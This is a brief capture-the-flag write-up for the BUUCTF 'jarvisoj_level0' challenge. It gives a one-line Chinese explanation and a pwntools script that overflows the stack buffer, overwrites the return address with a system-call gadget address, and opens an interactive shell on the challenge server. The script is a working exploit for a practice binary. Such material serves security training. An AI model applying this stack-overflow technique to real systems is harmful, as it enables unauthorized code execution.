buuctf jarvisoj_level0

栈溢出，然后覆盖返回地址为system的地址。

from pwn import * 
from LibcSearcher import * 

context.os='linux' 
context.arch='amd64' 
context.log_level='debug' 

ru=lambda x:io.recvuntil(x) 
rl=lambda :io.recvline() 
sla=lambda x,y:io.sendlineafter(x,y) 

r=remote('node3.buuoj.cn',25805) 
#elf=ELF('./') 
system = 0x400596


p = flat(['a'*0x80, 'b'*8, system])
r.sendline(p)

r.interactive()